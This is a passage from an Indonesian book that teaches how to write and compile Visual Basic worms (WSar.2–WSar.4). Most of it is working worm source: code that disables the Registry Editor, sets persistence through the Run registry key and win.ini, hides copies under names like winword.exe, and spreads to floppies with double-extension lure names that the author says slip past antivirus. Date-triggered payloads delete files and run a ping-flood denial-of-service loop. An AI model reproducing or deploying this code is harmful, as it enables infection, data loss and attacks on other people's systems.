Bab 8. Worm WSar.2

Computer Worm 1 - Secret of Underground Coding : Uncensored

Private Sub tmrWSar2_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub

Procedure tmrWSar2_Timer, pada saat yang ditentukan akan mengeksekusi procedure InfectFloppy, kemudian apabila tanggal dan bulan sekarang adalah 13 Oktober maka akan mengeksekusi procedure PayLoad kemudian mengakhiri proses worm.
Function RegString(ByVal HiveAndKey As String, ByVal Value As _ String) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value) End Function Function RegDword(ByVal HiveAndKey As String, ByVal Value As _ Integer) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value, "REG_DWORD") End Function

Bab 8. Worm WSar.2

Dua function di atas adalah penggunaan Window Script Host yang akan mengakses registry untuk menambahkan key dan value. Function RegString digunakan untuk menambahkan key dan value dengan jenis value string biasa (REG_SZ) sedangkan function RegDword digunakan untuk menambahkan key dan value dengan jenis value dword (REG_DWORD)
Private Sub RegDisable() On Error Resume Next RegDword("HKCU\Software\Microsoft\Windows\Curr" & _ "entVersion\Policies\System\DisableRegistryTools", 1) End Sub

Procedure RegDisable mengeksekusi function RegDword dengan menambahkan key: "HKEY_CURRENT_USER\Soft ware\Microsoft\ Windows\CurrentVersion\Policies\System\DisableRegistryTools" dan mengisi value dengan nilai 1. Konfigurasi registry ini akan mengakibatkan user tidak dapat mengakses aplikasi Registry Editor.

Jasakom

122

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1) FileCopy(WormFile, sysfolder & "\" & "winfake.exe") RegString("HKLM\Software\Microsoft\Windows\Curr" & _ "entVersion\Run\windll", sysfolder & "\" & "winfake.exe") End Sub

Procedure InfectSystem memanfaatkan file system object untuk mendapatkan special folder pada Windows. Dalam hal ini special folder 1 atau direktori System Windows, kemudian membuat salinan dirinya ke direktori System Windows tersebut dengan nama "winfake.exe". Selain itu procedure juga mengeksekusi function RegString dengan menambahkan key: "HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\ Run\windll" dengan value berupa gabungan alamat file pada direktori System Windows dan nama file dari salinan worm tersebut yaitu "winfake.exe". Key ini merupakan salah satu lokasi registry yang akan dieksekusi saat Windows startup.
Private Sub InfectFloppy() On Error Resume Next If Len(Dir$("A:\rindu.exe")) = 0 Then FileCopy(WormFile, "A:\rindu.exe") End If End Sub

Procedure diatas akan membuat salinan worm pada drive A dengan nama "rindu.exe"
Private Sub PayLoad() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder, tmpfolder As Object kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) tmpfolder = kiddie.GetSpecialFolder(2) Kill(winfolder & "\" & "*.tmp") Kill(sysfolder & "\" & "*.bak") Kill(tmpfolder & "\" & "*.*") MsgBox("WSar.2 Ada Pada Komputer Anda") End Sub

123

Jasakom

Bab 8. Worm WSar.2

Computer Worm 1 - Secret of Underground Coding : Uncensored

Procedure PayLoad memanfaatkan file system object untuk mendapatkan special folder 0 atau direktori Windows, special folder 1 atau direktori System Windows dan special folder 2 atau direktori Temporary, kemudian menghapus seluruh file yang berekstensi 'tmp pada direktori Windows, seluruh file berekstensi 'bak pada direktori System Windows, dan seluruh file yang ada pada direktori Temporary. Akhirnya worm akan menampilkan pesan "WSar.2 Ada Pada Komputer Anda". Untuk procedure WormFile telah penulis jelaskan pada WSar.1 sehingga selanjutnya tidak perlu dijelaskan lagi. Terakhir simpan dan kompilasi project seperti pada langkah-langkah yang telah dijelaskan sebelumnya. Catatan untuk WSar.2: berikut ini adalah lokasi key registry yang akan mengeksekusi setiap value didalamnya pada saat Windows startup: User Key / HKCU
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]

Bab 8. Worm WSar.2

System Key / HKLM


[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT \CurrentVersion\ Winlogon\Userinit]

Jasakom

124

Computer Worm 1 - Secret of Undeground Coding : Uncensored

BAB 9 WORM WSar.3

orm ini bernama WSar.3 (worm dasar 3). Pada worm ini penulis menambahkan trik launcher methode dengan memanipulasi file konfigurasi Windows (win.ini) dan memanfaatkan array dalam pemberian nama file worm sehingga worm ini dapat membuat salinan dengan menggunakan nama yang beragam.

9.1 ALGORITMA
WSar.3 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi file konfigurasi Windows 'win.ini untuk mengaktifkan worm setiap kali Windows startup 3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A dengan 10 nama file yang dipilih secara acak 4. Dampak lain yang ditimbulkan adalah setiap 30 detik akan menempatkan posisi kursor mouse berada di sudut kiri bagian atas pada layar monitor

125

Jasakom

Bab 9. Worm WSar.3

Computer Worm 1 - Secret of Underground Coding : Uncensored

5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.3 Ada Pada Komputer Anda", kemudian berusaha melakukan suatu serangan Denial Of Service (DOS) pada sebuah website fiktif dengan mengirimkan paket ping dalam jumlah besar.

9.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, pada tab Make, atur Application Title 'WSar.3 dan hapus value untuk setiap Type pada frame Version Information. Pilih opsi Compile to P-Code pada tab Compile, akhiri dengan menekan tombol OK. Tambahkan 2 buah object Timer, dan I buah Module, untuk module dapat dilakukan dengan cara meng-click Project pada menubar lalu memilih opsi Add Module. Kemudian atur properti berikut untuk masing-masing Timer, Form dan Module. Properti object Form1 Bab 9. Worm WSar.3 Jenis
Name Icon ShowInTaskbar Visible

Nilai
frmWSar3 (Icon) False False

Keterangan
Mengatur nama form menjadi frmWSar3 Pilih icon yang akan digunakan pada form, WSar.3 menggunakan icon msword.ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar.

Properti object Timer1 Jenis


Name Enable Interval

Nilai
tmrWSar3 True 60000

Keterangan
Mengatur nama Timer menjadi tmrWSar3 Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit

Jasakom

126

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Properti object Timer2 Jenis


Name Enable Interval

Nilai
tmrIseng True 30000

Keterangan
Mengatur nama Timer menjadi tmrIseng Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 30 detik

Properti Module1 Jenis


Name

Nilai
mdlFileIni

Keterangan
Mengatur nama module menjadi mdlFileIni

Ketik kode program berikut ini pada object mdlFileIni:


Declare Function GetPrivateProfileString Lib "kernel32" Alias _ "GetPrivateProfileStringA" (ByVal lpApplicationName As _ String, ByVal lpKeyName As String, ByVal lpDefault As String, _ ByVal lpReturnedString As String, ByVal nSize As Long, ByVal _ lpFileName As String) As Long Declare Function WritePrivateProfileString Lib "kernel32" Alias _ "WritePrivateProfileStringA" (ByVal lpApplicationName As _ String, ByVal lpKeyName As String, ByVal lpString As Any, _ ByVal lpFileName As String) As Long Function ReadINI(ByVal Section, ByVal KeyName, ByVal filename As String) _ As String Dim sRet As String sRet = String(255, Chr(0)) ReadINI = Left(sRet, GetPrivateProfileString(Section, ByVal _ KeyName, "", sRet, Len(sRet), filename)) End Function Function writeini(ByVal sSection As String, ByVal sKeyName As String, _ ByVal sNewString As String, ByVal sFileName) As Integer Dim r r = WritePrivateProfileString(sSection, sKeyName, sNewString, _ sFileName) End Function

127

Jasakom

Bab 9. Worm WSar.3

Computer Worm 1 - Secret of Underground Coding : Uncensored

Ketik kode program berikut ini pada object frmWSar3:


'WSar.3 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On

Private Declare Function SetCursorPos Lib "user32" (ByVal x As _ Long, ByVal Y As Long) As Long

Private Sub Form_Load() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If App.PrevInstance = True Then End If ReadINI("WINDOWS", "Run", winfolder & "\" & "win.ini") <> _ MainFile Then Call InfectSystem() End If If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub

Bab 9. Worm WSar.3

Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" FileCopy(WormFile, MainFile) SetAttr(MainFile, vbHidden + vbReadOnly + vbSystem) writeini("WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini") End Sub

Jasakom

128

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "ohh dambaanku.doc .exe" NamaCantik(1) = "kasihku.doc .exe" NamaCantik(2) = "rinduku.doc .exe" NamaCantik(3) = "sayangku.doc .exe" NamaCantik(4) = "pujaanku.doc .exe" NamaCantik(5) = "permata hatiku.doc .exe" NamaCantik(6) = "buah hatiku.doc .exe" NamaCantik(7) = "jantung hatiku.doc .exe" NamaCantik(8) = "ohh dompeeetku.doc .exe" NamaCantik(9) = "hehehe.doc .exe" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*ku.doc .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End If End Sub Private Sub tmrIseng_Timer() On Error Resume Next SetCursorPos(1, 1) End Sub Private Sub tmrWSar3_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub Private Sub PayLoad() On Error Resume Next Dim Target As String Dim pingmore As Integer MsgBox("WSar.3 Ada Pada Komputer Anda", vbExclamation) Target = "http://www.worm-maker.co.id" For pingmore = 1 To 1000 Shell("ping -a -l " & Target & " 65500") Next pingmore End Sub Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function

129

Jasakom

Bab 9. Worm WSar.3

Computer Worm 1 - Secret of Underground Coding : Uncensored

Berikut penjelasan tentang kode program:


'WSar.3 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Declare Function SetCursorPos Lib "user32" _ (ByVal x As Long, ByVal Y As Long) As Long

Mendeklarasikan function SetCursorPos dari library user32. Statement ini adalah salah satu dari API Function. Function SetCursorPos ini berguna untuk mengatur posisi mouse pointer pada layar monitor.
Private Sub Form_Load() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If App.PrevInstance = True Then End If ReadINI("WINDOWS", "Run", winfolder & "\" & _ "win.ini") <> MainFile Then Call InfectSystem() End If If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub

Bab 9. Worm WSar.3

Seperti kode program worm sebelumnya, pada procedure ini worm berusaha mendapatkan direktori Windows, kemudian berusaha mendapatkan informasi apakah worm sudah ada atau tidak pada system. Dalam hal ini worm memeriksa isi file konfigurasi win.ini pada section Windows dan pada key Run, apabila value tidak ditujukan pada file worm yang terletak pada direktori System Windows, maka worm akan memanggil procedure InfectSystem.

Jasakom

130

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" FileCopy(WormFile, MainFile) SetAttr(MainFile, vbHidden + vbReadOnly + vbSystem) writeini("WINDOWS", "Run", MainFile, winfolder & "\" _ & "win.ini") End Sub

Procedure ini berusaha mendapatkan direktori Windows dan direktori System Windows, kemudian membuat salinan file utama ke lokasi direktori System Windows dengan nama "winword.exe" kemudian mengatur atribut file tersebut menjadi Hidden, Read only dan System. Worm kemudian memanipulasi file konfigurasi "win.ini" pada section Windows dan key Run, serta value diatur dengan path dan nama file worm yaitu "winword.exe".
Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "ohh dambaanku.doc .exe" NamaCantik(1) = "kasihku.doc .exe" NamaCantik(2) = "rinduku.doc .exe" NamaCantik(3) = "sayangku.doc .exe" NamaCantik(4) = "pujaanku.doc .exe" NamaCantik(5) = "permata hatiku.doc .exe" NamaCantik(6) = "buah hatiku.doc .exe" NamaCantik(7) = "jantung hatiku.doc .exe" NamaCantik(8) = "ohh dompeeetku.doc .exe" NamaCantik(9) = "hehehe.doc .exe" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*ku.doc .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End If End Sub

Procedure ini akan membuat data array sebanyak 10 yang akan digunakan sebagai nama file. Sedikit menggunakan social engineering, nama-nama file tersebut menggunakan ekstensi ganda yaitu '.doc .exe.

131

Jasakom

Bab 9. Worm WSar.3

Computer Worm 1 - Secret of Underground Coding : Uncensored

Perhatikan bahwa ada spasi diantara dua ekstensi tersebut. Penulis menemukan beberapa antivirus yang akan mendeteksi file executable dengan ekstensi ganda sebagai suatu worm atau virus, namun setelah penulis menambahkan (satu atau lebih) tanda spasi diantara dua ekstensi tersebut ternyata antivirus-antivirus tersebut tidak mendeteksinya lagi sebagai worm atau virus . Umumnya pada Windows Explorer ekstensi file yang terdaftar pada file association tidak diperlihatkan sehingga teks ".doc" pada akhir nama file akan terlihat seolah-olah merupakan ekstensi untuk aplikasi MS Word. Worm kemudian memeriksa disket dengan mencari file yang berakhiran "ku.doc .exe", apabila file worm tidak ditemukan maka worm akan membuat salinannya ke disket dengan salah satu nama file yang dipilih secara acak. Satu hal yang mungkin akan terjadi adalah file worm disalin pada disket sebanyak dua file yaitu "hehehe.doc .exe" dan sebuah file dengan nama acak lainnya. Hal ini terjadi karena file "hehehe.doc .exe" tidak memenuhi kriteria sebagai file yang berakhiran "ku.doc .exe".
Private Sub tmrIseng_Timer() On Error Resume Next SetCursorPos(1, 1) End Sub Private Sub tmrWSar3_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub

Bab 9. Worm WSar.3

Procedure tmrIseng_Timer memanggil function SetCursorPos dengan nilai x = 1 dan y =1 yang berarti menempatkan posisi pointer mouse pada posisi pixel pertama pada layar. Pixel pertama bertempat di sudut kiri atas layar monitor.

Jasakom

132

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Private Sub PayLoad() On Error Resume Next Dim Target As String Dim pingmore As Integer MsgBox("WSar.3 Ada Pada Komputer Anda", _ vbExclamation) Target = "http://www.worm-maker.co.id" For pingmore = 1 To 1000 Shell("ping -a -l " & Target & " 65500") Next pingmore End Sub

Selain menampilkan pesan, worm ini akan melakukan serangan Denial Of Service pada website www.worm-maker.co.id yang merupakan site fiktif.
Declare Function GetPrivateProfileString Lib "kernel32" _ Alias "GetPrivateProfileStringA" (ByVal _ lpApplicationName As String, ByVal lpKeyName As _ String, ByVal lpDefault As String, ByVal _ lpReturnedString As String, ByVal nSize As Long, _ ByVal lpFileName As String) As Long Declare Function WritePrivateProfileString Lib "kernel32" _ Alias "WritePrivateProfileStringA" (ByVal _ lpApplicationName As String, ByVal lpKeyName As _ String, ByVal lpString As Any, ByVal lpFileName As _ String) As Long

Mendeklarasikan function API GetPrivateProfileString WritePrivateProfileString dari library "kernel32".

dan

Function ReadINI(ByVal Section, ByVal KeyName, ByVal filename As String) _ As String Dim sRet As String sRet = String(255, Chr(0)) ReadINI = Left(sRet, GetPrivateProfileString(Section, _ ByVal KeyName, "", sRet, Len(sRet), filename)) End Function Function writeini(ByVal sSection As String, ByVal sKeyName As _ String, ByVal sNewString As String, ByVal sFileName) As Integer Dim r r = WritePrivateProfileString(sSection, sKeyName, _ sNewString, sFileName) End Function

Kedua function tersebut, 'ReadINI dan 'writeini mengotomatisasi penggunaan function API dari GetPrivateProfileString dan

133

Jasakom

Bab 9. Worm WSar.3

Computer Worm 1 - Secret of Underground Coding : Uncensored

WritePrivateProfileString, dengan tujuan agar dapat digunakan dengan lebih mudah dan sederhana. Catatan untuk WSar.3: berikut ini adalah lokasi file konfigurasi beserta section dan key yang akan mengeksekusi setiap value didalamnya pada saat Windows startup: WIN.INI Path
Section Key 1 Key 2 Value

Direktori Windows (0)


WINDOWS Run Load WormPath

Contoh yang bisa diaplikasikan pada WSar.3


writeini "WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini" writeini "WINDOWS", "Load", MainFile, winfolder & "\" & "win.ini"

SYSTEM.INI Path
Section Key Value

Direktori Windows (0)


BOOT Shell "Explorer.exe " & WormPath

Bab 9. Worm WSar.3

Contoh yang bisa diaplikasikan pada WSar.3


writeini "BOOT", "Shell", "Explorer.exe " & MainFile, winfolder & "\" & "system.ini"

WININIT.INI Path
Section Key Value

Direktori Windows (0)


RENAME Nul WormPath

Contoh yang bisa diaplikasikan pada WSar.3


writeini "RENAME", "Nul", MainFile, winfolder & "\" & "wininit.ini"

Jasakom

134

Computer Worm 1 - Secret of Undeground Coding : Uncensored

BAB 10 WORM WSar.4

orm ini bernama WSar.4 (worm dasar 4), memiliki trik launcher yang hingga buku ini selesai ditulis belum pernah digunakan worm manapun. Dengan cara memanipulasi registry, worm memindahkan direktori StartUp kesuatu lokasi tertentu dan membuat salinan dirinya pada direktori tersebut. Saat Windows startup, setiap file yang ada termasuk file worm ikut tereksekusi tanpa user menyadari karena direktori StartUp default yang dapat terlihat pada Startmenu tidak akan menunjukan adanya perubahan atau pertambahan suatu file. Worm ini sedikit lebih kreatif karena membuat nama file salinan dengan menyertakan nama user aktif dan banyak menggunakan function API.

10.1 ALGORITMA
WSar.4 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Kemudian worm mengubah nilai suatu registry untuk memanipulasi lokasi direktori StartUp default ke suatu lokasi direktori tertentu lainnya. Kemudian worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori StartUp yang baru tersebut

135

Jasakom

Bab 10 Worm WSar.4

Computer Worm 1 - Secret of Underground Coding : Uncensored

3. Setiap 1 menit akan berusaha untuk membuat salinan worm ke disket pada drive A dengan 10 nama file yang dipilih secara acak 4. Dampak lain yang ditimbulkan adalah jika jam dan menit memiliki nilai yang sama maka secara otomatis system akan membuka dan menutup CD rom drive sebanyak 3 kali. Kesempatan terjadi adalah sekali setiap jamnya 5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.4 Ada Pada Komputer Anda", kemudian melakukan beberapa manipulasi yang bersifat tidak penting dan terkesan "pamer" tetapi hal ini sudah menjadi kebiasaan worm lokal di Indonesia, seperti mengubah nama user dan perusahaan terdaftar, mengubah volume label pada harddisk atau menampilkan pesan tertentu setiap kali Windows startup.

10.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, dan Application Title menjadi 'WSar.4 Tambahkan 2 buah object Timer, 1 buah object TextBox dan 2 buah Module. Kemudian atur properti berikut untuk masing-masing Timer, TextBox, Form dan Module. Properti object Form1 Jenis
Name Icon ShowInTaskbar Visible BorderStyle ControlBox

Bab 10. Worm WSar.4

Nilai
frmWSar4 (Icon) False False None False

Keterangan
Mengatur nama form menjadi frmWSar4 Pilih icon yang akan digunakan pada form, WSar.4 menggunakan icon jpgicon.ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar. Tidak memberikan garis tepi pada form Tidak menggunakan control box

Jasakom

136

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Properti object Timer1 Jenis


Name Enable Interval

Nilai
tmrWSar4 True 60000

Keterangan
Mengatur nama Timer menjadi tmrWSar4 Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit

Properti object Timer2 Jenis


Name Enable Interval

Nilai
tmrIseng True 60000

Keterangan
Mengatur nama Timer menjadi tmrIseng Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit

Properti object Text1 Jenis


Name

Nilai
txtName

Keterangan
Mengatur nama TextBox menjadi txtName

Properti Module1 Jenis


Name

Nilai
mdlNameLogon

Keterangan
Mengatur nama module menjadi mdlNameLogon

Properti Module2 Jenis Name Nilai mdlRegistryAPI Keterangan Mengatur nama module menjadi mdlRegistryAPI

137

Jasakom

Bab 10 Worm WSar.4

Computer Worm 1 - Secret of Underground Coding : Uncensored

Ketik kode program berikut ini pada module mdlNameLogon:


Declare Function GetUserName Lib "advapi32.dll" Alias _ "GetUserNameA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Function NameLogon() Dim s As String Dim cnt As Long Dim dl As Long Dim CurUser As String cnt = 199 s = String$(200, 0) dl = GetUserName(s, cnt) If dl <> 0 Then CurUser = Left$(s, cnt) Else NameLogon = CurUser End Function

: CurUser = ""

Ketik kode program berikut ini pada module mdlRegistryAPI: Type FILETIME lLowDateTime lHighDateTime End Type As Long As Long

Declare Function RegDeleteValue Lib "advapi32.dll" Alias _ "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName _ As String) As Long Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias _ "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal ulOptions As Long, ByVal samDesired As Long, _ ByVal phkResult As Long) As Long Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As _ Long) As Long Declare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal phkResult As Long) As Long Declare Function RegDeleteKey Lib "advapi32.dll" Alias _ "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String) As Long Declare Function RegQueryValueEx Lib "advapi32.dll" Alias _ "RegQueryValueExA" (ByVal hKey As Long, ByVal _ lpValueName As String, ByVal lpReserved As Long, ByVal lpType As _ Long, ByVal lpData As String, ByVal lpcbData As Long) As Long Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal _ hKey As Long, ByVal lpValueName As String, ByVal _ lpReserved As Long, ByVal lpType As Long, ByRef lpData As Long, _ ByVal lpcbData As Long) As Long Declare Function RegSetValueEx Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByVal lpData As String, ByVal cbData As Long) As Long

Bab 10. Worm WSar.4

Jasakom

138

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal _ hKey As Long, ByVal lpValueName As String, ByVal Reserved _ As Long, ByVal dwType As Long, ByRef lpData As Long, _ ByVal cbData As Long) As Long Declare Function RegSetValueExB Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByRef lpData As Byte, ByVal cbData As Long) As Long Public Declare Function RegReplaceKey Lib "advapi32.dll" Alias _ "RegReplaceKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal lpNewFile As String, ByVal lpOldFile As String) _ As Long Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const Const ERROR_SUCCESS = 0& ERROR_BADDB = 1009& ERROR_BADKEY = 1010& ERROR_CANTOPEN = 1011& ERROR_CANTREAD = 1012& ERROR_CANTWRITE = 1013& ERROR_OUTOFMEMORY = 14& ERROR_INVALID_PARAMETER = 87& ERROR_ACCESS_DENIED = 5& ERROR_NO_MORE_ITEMS = 259& ERROR_MORE_DATA = 234& REG_NONE = 0& REG_SZ = 1& REG_EXPAND_SZ = 2& REG_BINARY = 3& REG_DWORD = 4& REG_DWORD_LITTLE_ENDIAN = 4& REG_DWORD_BIG_ENDIAN = 5& REG_LINK = 6& REG_MULTI_SZ = 7& REG_RESOURCE_LIST = 8& REG_FULL_RESOURCE_DESCRIPTOR = 9& REG_RESOURCE_REQUIREMENTS_LIST = 10&

Const KEY_QUERY_VALUE = &H1& Const KEY_SET_VALUE = &H2& Const KEY_CREATE_SUB_KEY = &H4& Const KEY_ENUMERATE_SUB_KEYS = &H8& Const KEY_NOTIFY = &H10& Const KEY_CREATE_LINK = &H20& Const READ_CONTROL = &H20000 Const WRITE_DAC = &H40000 Const WRITE_OWNER = &H80000 Const SYNCHRONIZE = &H100000 Const STANDARD_RIGHTS_REQUIRED = &HF0000 Const STANDARD_RIGHTS_READ = READ_CONTROL Const STANDARD_RIGHTS_WRITE = READ_CONTROL Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL Const KEY_READ = STANDARD_RIGHTS_READ Or _ KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS _ Or KEY_NOTIFY Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or _ KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Const KEY_EXECUTE = KEY_READ

139

Jasakom

Bab 10 Worm WSar.4

Computer Worm 1 - Secret of Underground Coding : Uncensored

Dim Dim Dim Dim Dim

hKey As Long, MainKeyHandle As Long rtn As Long, lBuffer As Long, sBuffer As String lBufferSize As Long lDataSize As Long ByteArray() As Byte

Const DisplayErrorMsg = False Function SetDWORDValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As Long) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, value, 4) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function Public Function DeleteKeyValue(ByVal sKeyName As String, _ ByVal sValueName As String) DeleteKeyValue = False Dim hKey As Long Call ParseKey(sKeyName, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, sKeyName, 0, _ KEY_WRITE, hKey) If (rtn = ERROR_SUCCESS) Then rtn = RegDeleteValue(hKey, sValueName) If (rtn <> ERROR_SUCCESS) Then Else DeleteKeyValue = True End If rtn = RegCloseKey(hKey) End If End If End Function

Bab 10. Worm WSar.4

Jasakom

140

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Function GetDWORDValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) GetDWORDValue = lBuffer Else GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function Function SetBinaryValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then lDataSize = Len(value) ReDim ByteArray(lDataSize) For i = 1 To lDataSize ByteArray(i) = Asc(Mid$(value, i, 1)) Next rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, _ ByteArray(1), lDataSize) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function

141

Jasakom

Bab 10 Worm WSar.4

Computer Worm 1 - Secret of Underground Coding : Uncensored

